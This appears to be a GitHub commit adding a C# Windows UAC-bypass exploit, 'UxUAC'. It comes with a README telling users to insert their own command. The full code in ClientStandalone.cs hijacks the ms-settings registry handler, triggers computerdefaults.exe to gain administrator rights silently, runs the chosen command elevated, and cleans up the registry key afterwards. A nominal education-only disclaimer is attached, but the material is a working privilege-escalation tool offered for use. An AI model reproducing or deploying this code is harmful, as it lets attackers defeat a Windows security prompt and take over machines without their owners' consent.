Skip to content

Commit 7bcf934

Browse files
committedApr 20, 2024
-
1 parent 6932ea9 commit 7bcf934

9 files changed

+247
-2
lines changed
 

β€Ž0420.gif

870 KB
Loading

β€ŽREADME.md

+25-2
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,25 @@
1-
# UAC-Bypass
2-
π„πšπ¬π² 𝐩𝐫𝐨𝐠𝐫𝐚𝐦 𝐟𝐨𝐫 π›π²π©πšπ¬π¬π’π§π  𝐔𝐀𝐂-𝐌𝐞𝐬𝐬𝐚𝐠𝐞 ⚠
1+
# UAC-Bypass (exploit)
2+
![CSHARP](https://img.shields.io/badge/Language-CSHARP-aqua?style=for-the-badge&logo=CS)
3+
![](logo.png)
4+
5+
## πŸ“‘ About
6+
<b> π„πšπ¬π² 𝐩𝐫𝐨𝐠𝐫𝐚𝐦 𝐟𝐨𝐫 π›π²π©πšπ¬π¬π’π§π  𝐔𝐀𝐂-𝐌𝐞𝐬𝐬𝐚𝐠𝐞 ⚠ </b>
7+
8+
### πŸ’Ύ Features:
9+
* Size: 7kbβœ…
10+
11+
## πŸ’» Example
12+
<p float="left" align="center">
13+
<img alt="screen" width="300" src="0420.gif">
14+
</p>
15+
16+
## Insturction
17+
* Change this line in file Program.cs, and put your command:
18+
```csharp
19+
5 public const string command = "/k @echo Hello world && regedit"; // your command
20+
```
21+
22+
## ⚠️ Disclaimer
23+
```
24+
This project for education and purposes only!
25+
```

β€Žlogo.png

1.1 MB
Loading

β€Žsource/uac_tester.sln

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 17
4+
VisualStudioVersion = 17.9.34622.214
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "uac_tester", "uac_tester\uac_tester.csproj", "{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Debug|x86 = Debug|x86
12+
Release|Any CPU = Release|Any CPU
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Debug|Any CPU.Build.0 = Debug|Any CPU
18+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Debug|x86.ActiveCfg = Debug|x86
19+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Debug|x86.Build.0 = Debug|x86
20+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Release|Any CPU.ActiveCfg = Release|Any CPU
21+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Release|Any CPU.Build.0 = Release|Any CPU
22+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Release|x86.ActiveCfg = Release|x86
23+
{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}.Release|x86.Build.0 = Release|x86
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {C49D134A-ADAC-4E2F-9125-D9BF6E6E9590}
30+
EndGlobalSection
31+
EndGlobal

β€Žsource/uac_tester/App.config

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?xml version="1.0" encoding="utf-8" ?>
2+
<configuration>
3+
<startup>
4+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
5+
</startup>
6+
</configuration>
+70
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
ο»Ώusing Microsoft.Win32;
2+
using System.Diagnostics;
3+
using System.Security.Principal;
4+
5+
namespace UX
6+
{
7+
internal class ClientStandalone
8+
{
9+
public static void ux()
10+
{
11+
try
12+
{
13+
if (!ClientAPI())
14+
{
15+
ClientBridge();
16+
}
17+
else
18+
{
19+
Process.Start("cmd.exe", $"/c start \"UxUAC [HEHE-BAY]\" \"cmd.exe\" \"{Program.command}");
20+
RegistryKey ShellParentPath = Registry.CurrentUser.OpenSubKey(@"Software\Classes\ms-settings", true);
21+
ShellParentPath.DeleteSubKeyTree("shell", false);
22+
ShellParentPath.Close();
23+
}
24+
}
25+
catch { }
26+
}
27+
static void ClientBridge()
28+
{
29+
if (!ClientAPI())
30+
{
31+
foreach (var Path in new[] { "Classes", @"Classes\ms-settings", @"Classes\ms-settings\shell", @"Classes\ms-settings\shell\open" })
32+
ClientOpening(Path);
33+
34+
try
35+
{
36+
var DelegatePath = ClientOpening(@"Classes\ms-settings\shell\open\command");
37+
DelegatePath.SetValue("", Process.GetCurrentProcess().MainModule.FileName, RegistryValueKind.String);
38+
DelegatePath.SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
39+
DelegatePath.Close();
40+
41+
Process.Start(new ProcessStartInfo()
42+
{
43+
CreateNoWindow = true,
44+
UseShellExecute = false,
45+
RedirectStandardError = true,
46+
RedirectStandardOutput = true,
47+
FileName = "cmd.exe",
48+
Arguments = "/c @start computerdefaults.exe"
49+
});
50+
}
51+
catch { };
52+
}
53+
else
54+
{
55+
ClientOpening(@"Classes\ms-settings\shell\open\command").SetValue(null, null, RegistryValueKind.String);
56+
}
57+
}
58+
59+
static bool ClientAPI()
60+
{
61+
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
62+
}
63+
64+
static RegistryKey ClientOpening(string RegPath)
65+
{
66+
RegistryKey FRegPath = Registry.CurrentUser.OpenSubKey($@"Software\{RegPath}", true);
67+
return FRegPath is null ? Registry.CurrentUser.CreateSubKey($@"Software\{RegPath}", true) : FRegPath;
68+
}
69+
}
70+
}

β€Žsource/uac_tester/Program.cs

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
ο»Ώnamespace UX
2+
{
3+
internal class Program
4+
{
5+
public const string command = "/k @echo Hello world && regedit"; // your command
6+
static void Main(string[] args)
7+
{
8+
ClientStandalone.ux();
9+
}
10+
}
11+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
ο»Ώusing System.Reflection;
2+
using System.Runtime.CompilerServices;
3+
using System.Runtime.InteropServices;
4+
5+
// ΠžΠ±Ρ‰ΠΈΠ΅ свСдСния ΠΎΠ± этой сборкС ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ
6+
// Π½Π°Π±ΠΎΡ€Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ². Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ значСния этих Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² для измСнСния свСдСний,
7+
// связанныС с этой сборкой.
8+
[assembly: AssemblyTitle("")]
9+
[assembly: AssemblyDescription("")]
10+
[assembly: AssemblyConfiguration("")]
11+
[assembly: AssemblyCompany("")]
12+
[assembly: AssemblyProduct("")]
13+
[assembly: AssemblyCopyright("")]
14+
[assembly: AssemblyTrademark("")]
15+
[assembly: AssemblyCulture("")]
16+
17+
// Установка значСния False для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ComVisible Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΈΠΏΡ‹ Π² этой сборкС Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌΠΈ
18+
// для ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² COM. Если Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Ρ‚ΠΈΠΏΡƒ Π² этой сборкС Ρ‡Π΅Ρ€Π΅Π·
19+
// ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»ΠΈ COM Π·Π°Π΄Π°ΠΉΡ‚Π΅ для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ComVisible этого Ρ‚ΠΈΠΏΠ° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ true.
20+
[assembly: ComVisible(false)]
21+
22+
// Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ GUID прСдставляСт ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ typelib, Ссли этот ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ доступСн ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»ΠΈ COM
23+
[assembly: Guid("7bd20f1a-7bf1-453c-8d03-98e6fee61a91")]
24+
25+
// БвСдСния ΠΎ вСрсии сборки состоят ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
26+
//
27+
// Основной Π½ΠΎΠΌΠ΅Ρ€ вСрсии
28+
// Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ вСрсии
29+
// НомСр сборки
30+
// НомСр Ρ€Π΅Π΄Π°ΠΊΡ†ΠΈΠΈ
31+
//
32+
// МоТно Π·Π°Π΄Π°Ρ‚ΡŒ всС значСния ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Π½ΠΎΠΌΠ΅Ρ€Π° сборки ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ†ΠΈΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ
33+
// ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ "*", ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:
34+
// [assembly: AssemblyVersion("1.0.*")]
35+
[assembly: AssemblyVersion("1.0.0.0")]
36+
[assembly: AssemblyFileVersion("1.0.0.0")]
+68
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
4+
<PropertyGroup>
5+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
6+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
7+
<ProjectGuid>{7BD20F1A-7BF1-453C-8D03-98E6FEE61A91}</ProjectGuid>
8+
<OutputType>Exe</OutputType>
9+
<RootNamespace>UX</RootNamespace>
10+
<AssemblyName>UxUAC</AssemblyName>
11+
<TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
12+
<FileAlignment>512</FileAlignment>
13+
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
14+
<Deterministic>true</Deterministic>
15+
</PropertyGroup>
16+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
17+
<PlatformTarget>AnyCPU</PlatformTarget>
18+
<DebugSymbols>false</DebugSymbols>
19+
<DebugType>none</DebugType>
20+
<Optimize>false</Optimize>
21+
<OutputPath>bin\Debug\</OutputPath>
22+
<DefineConstants>DEBUG;TRACE</DefineConstants>
23+
<ErrorReport>none</ErrorReport>
24+
<WarningLevel>0</WarningLevel>
25+
</PropertyGroup>
26+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
27+
<PlatformTarget>AnyCPU</PlatformTarget>
28+
<DebugType>none</DebugType>
29+
<Optimize>true</Optimize>
30+
<OutputPath>bin\Release\</OutputPath>
31+
<DefineConstants>TRACE</DefineConstants>
32+
<ErrorReport>none</ErrorReport>
33+
<WarningLevel>0</WarningLevel>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
36+
<OutputPath>bin\x86\Debug\</OutputPath>
37+
<DefineConstants>DEBUG;TRACE</DefineConstants>
38+
<WarningLevel>0</WarningLevel>
39+
<PlatformTarget>x86</PlatformTarget>
40+
<LangVersion>7.3</LangVersion>
41+
<ErrorReport>none</ErrorReport>
42+
<Prefer32Bit>true</Prefer32Bit>
43+
</PropertyGroup>
44+
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
45+
<OutputPath>bin\x86\Release\</OutputPath>
46+
<DefineConstants>TRACE</DefineConstants>
47+
<Optimize>true</Optimize>
48+
<WarningLevel>0</WarningLevel>
49+
<PlatformTarget>x86</PlatformTarget>
50+
<LangVersion>7.3</LangVersion>
51+
<ErrorReport>none</ErrorReport>
52+
<Prefer32Bit>true</Prefer32Bit>
53+
</PropertyGroup>
54+
<ItemGroup>
55+
<Reference Include="System" />
56+
<Reference Include="Microsoft.CSharp" />
57+
<Reference Include="System.Data" />
58+
</ItemGroup>
59+
<ItemGroup>
60+
<Compile Include="Program.cs" />
61+
<Compile Include="Properties\AssemblyInfo.cs" />
62+
<Compile Include="ClientStandalone.cs" />
63+
</ItemGroup>
64+
<ItemGroup>
65+
<None Include="App.config" />
66+
</ItemGroup>
67+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
68+
</Project>

0 commit comments

Comments
 (0)